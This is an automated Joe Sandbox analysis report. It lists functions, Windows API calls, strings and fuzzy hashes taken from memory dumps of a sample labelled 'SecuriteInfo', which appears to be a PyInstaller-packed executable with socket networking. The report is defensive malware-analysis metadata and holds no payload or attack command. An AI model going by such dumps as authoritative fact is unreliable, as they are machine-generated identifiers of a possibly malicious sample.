Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$select
String ID: timed out
API String ID: 1043644060-3163636755
Opcode ID: fc651cffc8d0259b0e914ce5bfbd73a3b3d15b310cc83588944c491bbca2a8c7
Instruction ID: 5c93ede24b784126b9ba09f7c31205502268de7df16859575198726d9712ad98
Opcode Fuzzy Hash: fc651cffc8d0259b0e914ce5bfbd73a3b3d15b310cc83588944c491bbca2a8c7
Instruction Fuzzy Hash: 24418CB1E0DA4286FA655FE1A8443BDA2A1BF45FE5F064130CD4E427A4DF3CF885C60A

Function 00007FF7EAD036B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7EAD03804), ref: 00007FF7EAD036E1
GetLastError.KERNEL32(?,00007FF7EAD03804), ref: 00007FF7EAD036EB

Part of subcall function 00007FF7EAD02C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7EAD03706,?,00007FF7EAD03804), ref: 00007FF7EAD02C9E
Part of subcall function 00007FF7EAD02C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7EAD03706,?,00007FF7EAD03804), ref: 00007FF7EAD02D63
Part of subcall function 00007FF7EAD02C50: MessageBoxW.USER32 ref: 00007FF7EAD02D99

Strings

Failed to obtain executable path., xrefs: 00007FF7EAD036F3
\\?\, xrefs: 00007FF7EAD0375A
GetModuleFileNameW, xrefs: 00007FF7EAD036FA
Failed to resolve full path to executable %ls., xrefs: 00007FF7EAD03739
Failed to convert executable path to UTF-8., xrefs: 00007FF7EAD03790

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: aa58795fd151d1a2addeb85b119a2229fb7102c7a0d362bdb799c6b4eaf65dcc
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: 48217F61B1864241FA20F724E8953FAA756FF88358FC042B3E65D825DDEE3CE505C762

Function 00007FF7EAD1BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD1BE89

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: fe76644ed600cf537c3c6f178a4f6dddc7bb94aee2e0e4a7e52e493d4ee37ba5
Instruction ID: be7efa2d6ec71f8b965ffb037162accb55d07a8a9701b2b3a91cd888d3e0b722
Opcode Fuzzy Hash: fe76644ed600cf537c3c6f178a4f6dddc7bb94aee2e0e4a7e52e493d4ee37ba5
Instruction Fuzzy Hash: A0C1E472A0C68681F761EB3590407BDBB51FBA1B80FD541B3EA4E07799CE7CE4458722

Function 00007FF8E8136FF4 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

setsockopt.WS2_32 ref: 00007FF8E813704E
setsockopt.WS2_32 ref: 00007FF8E813713F

Strings

iiy*:setsockopt, xrefs: 00007FF8E81370D9
socket option is larger than %i bytes, xrefs: 00007FF8E8137109
iiO!I:setsockopt, xrefs: 00007FF8E8137078
iii:setsockopt, xrefs: 00007FF8E813701D

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: setsockopt
String ID: iiO!I:setsockopt$iii:setsockopt$iiy*:setsockopt$socket option is larger than %i bytes
API String ID: 3981526788-1608436615
Opcode ID: 32ca9612667a1d97849a044e9fa1363f5e862fb873e08f953f5db1e1b9d64d2d
Instruction ID: 8e6c30fd53852608f27a2b650e5644d8efce898f780d219070bee2b511c81d70
Opcode Fuzzy Hash: 32ca9612667a1d97849a044e9fa1363f5e862fb873e08f953f5db1e1b9d64d2d
Instruction Fuzzy Hash: 39411F32608B86D2EB208FA1E9407AE7361FB89BD4F520532DA9D43B54DF3CD548CB45

Function 00007FF7EAD06360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF7EAD063C7
Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF7EAD06456
ucrtbase.dll, xrefs: 00007FF7EAD063DD
Failed to load Python DLL '%ls'., xrefs: 00007FF7EAD064A7
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF7EAD06407
LoadLibrary, xrefs: 00007FF7EAD064AE

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 111e0a7e53993944da2df5d9c96cd3a7cea32e86f931b773c4ccd6a62d35c348
Instruction ID: 927f537e46426d2aaace940f905dbf842ef3cc4270607b018656d2f6871e6012
Opcode Fuzzy Hash: 111e0a7e53993944da2df5d9c96cd3a7cea32e86f931b773c4ccd6a62d35c348
Instruction Fuzzy Hash: 2E417121A1CA8691FA21FB20E4943E9A316FF44358FC001B3EA5C4369DEF7CE509C762

Function 00007FF8E81347A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

connect.WS2_32 ref: 00007FF8E81347D1
WSAGetLastError.WS2_32 ref: 00007FF8E81347EA
WSAGetLastError.WS2_32 ref: 00007FF8E81347F6
WSASetLastError.WS2_32 ref: 00007FF8E813481D

Strings

3', xrefs: 00007FF8E8134836

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$connect
String ID: 3'
API String ID: 375857812-280543908
Opcode ID: ad6926efe17413235fb0923d8b5cdfad53428c2f0b392e70a2f0e2a8c3016219
Instruction ID: f159fba161bbdbdcdfd7dcee90c220a65cd0e8bfeab45c12b524cbc3285f89da
Opcode Fuzzy Hash: ad6926efe17413235fb0923d8b5cdfad53428c2f0b392e70a2f0e2a8c3016219
Instruction Fuzzy Hash: 5C315C25B08B8286FB608FE6A9443BD6690FF54BE4F024535EE4D93795DF3CE440C60A

Function 00007FF7EAD15628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD15655
CreateFileW.KERNEL32 ref: 00007FF7EAD15694
CloseHandle.KERNEL32 ref: 00007FF7EAD156C9

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction ID: d7060ce8004206e8843f8309fcbb555d2b867fba51587e4af50d8cc12d3a0944
Opcode Fuzzy Hash: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction Fuzzy Hash: 2741A462D1878283F710EB709554369B360FBA43A4F908376E6AC03AD9DF7CA4E08761

Function 00007FF7EAD0CC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7EAD0CE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7EAD0CE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7EAD0CC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF7EAD0CCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7EAD0CD21

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: ecca85b24874862a24e7183fb72d5a99607acda9a7379090796502f01be66a86
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: A6313520E0810645FA14FB6594913B9AB82EF9178CFC444B7E94E4B2DFDE7CA805C273

Function 00007FF7EAD1013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD10180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD10277

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: eec38f99bcf9f54e7f1c3a716ea1f693e33258882375edd9fc26d3db17decd87
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: 28510561B0924986F728FA7594007BAE381FF64BA4F8A4772DD6C437DDCE3CE5418622

Function 00007FF7EAD1C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF7EAD1C2CD), ref: 00007FF7EAD1C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF7EAD1C2CD), ref: 00007FF7EAD1C18A

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 4c2bb2ce44d08f4f13883e68719424bf672e55fff0495f92f2f6dc96292bc4b6
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: 1511EF62A08A9281EA20EB25B800269A761EB51FF0F944372EE7D0B7ECCE7CD4508711

Function 00007FF8E81349CC Relevance: 3.0, APIs: 2, Instructions: 34networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 00007FF8E8134A05
WSAGetLastError.WS2_32 ref: 00007FF8E8134A22

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLastioctlsocket
String ID:
API String ID: 1021210092-0
Opcode ID: 9d037e66daaa798c1db8349a0f9e745af233c9881e48aae1d3b5376aec23ea56
Instruction ID: c4f6b5c218138cd70d141fdd60a50347f7280eebec4664d271900c4a1227d846
Opcode Fuzzy Hash: 9d037e66daaa798c1db8349a0f9e745af233c9881e48aae1d3b5376aec23ea56
Instruction Fuzzy Hash: 7B014F21B18B4282E7109BB6E94422E73A0FF89BD4F514031EA5E93B64DF3CD495C709

Function 00007FF8E81356E8 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FF8E8135718
00007FF906013440.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8E8135732

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: 00007F906013440closesocket
String ID:
API String ID: 4165350034-0
Opcode ID: 62ca75f0746227e7f5462e3ebb3314c23d0f25c318866796c54010b4c1d505b6
Instruction ID: c48d6182b324ab26af285c4de40c62b34954d2e895f7c365219ba6d24868d84d
Opcode Fuzzy Hash: 62ca75f0746227e7f5462e3ebb3314c23d0f25c318866796c54010b4c1d505b6
Instruction Fuzzy Hash: 4EF01922A18B41C2EA145BE6B5482AC6364BB49BF4F590331DA7E537E0CF3CE896C205

Function 00007FF7EAD1AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF7EAD1A9D5,?,?,00000000,00007FF7EAD1AA8A), ref: 00007FF7EAD1ABC6
GetLastError.KERNEL32(?,?,?,00007FF7EAD1A9D5,?,?,00000000,00007FF7EAD1AA8A), ref: 00007FF7EAD1ABD0

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: d78c9e0a33182bb1b0867914edefaabed07851869f2b579fb04d35b1bfafe9fe
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: 5021C661B0C68241FA90F7B195943BD9382DFA4790FC842FBD92E477E9CE7CA4418322

Function 00007FF7EAD1BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD1BED4

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: c87750b423259ca73a37448cb9e3486c1050400a723d4ed49d439a6e0e6ad29a
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: AD41B63291824587FB34EB39A540379F7A1EB65750F900172E68E836D9CF3DE402CBA2

Function 00007FF7EAD07F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7EAD0803A

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: d1cf0969546e67d8c79be56f924a5aafafb037098b6e94a4944dfbd08bf1f1e7
Instruction ID: 5eac34d143a98ddc1e11c8133e3d16fa8cc1d241fbf1b774b58bcddbc53cc607
Opcode Fuzzy Hash: d1cf0969546e67d8c79be56f924a5aafafb037098b6e94a4944dfbd08bf1f1e7
Instruction Fuzzy Hash: 33217121B1865146FA50FA2269443FAE752FF45BD8FC844B2EE4D0778ACEBDE051C712

Function 00007FF7EAD1B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD1B9C2

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction ID: ed6467542f1b89133117b0ef7db505fafeb9c32d2d00e86df438a2cb0da09135
Opcode Fuzzy Hash: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction Fuzzy Hash: 96317E72A1860285F711FB75884137DA7A0EFA0BA0FC101B7E91D033DADE7CA5428732

Function 00007FF7EAD15F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD15EF9

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: e302266983d598e0663e992107c0094a23fbe487e1e9b27af0ad8e5690f3ba44
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 21116F65A1C64281FA61FF6194007B9E360EFA5B84FC444B3EA4C57A9ECF3CD4018762

Function 00007FF7EAD26354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD26377

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

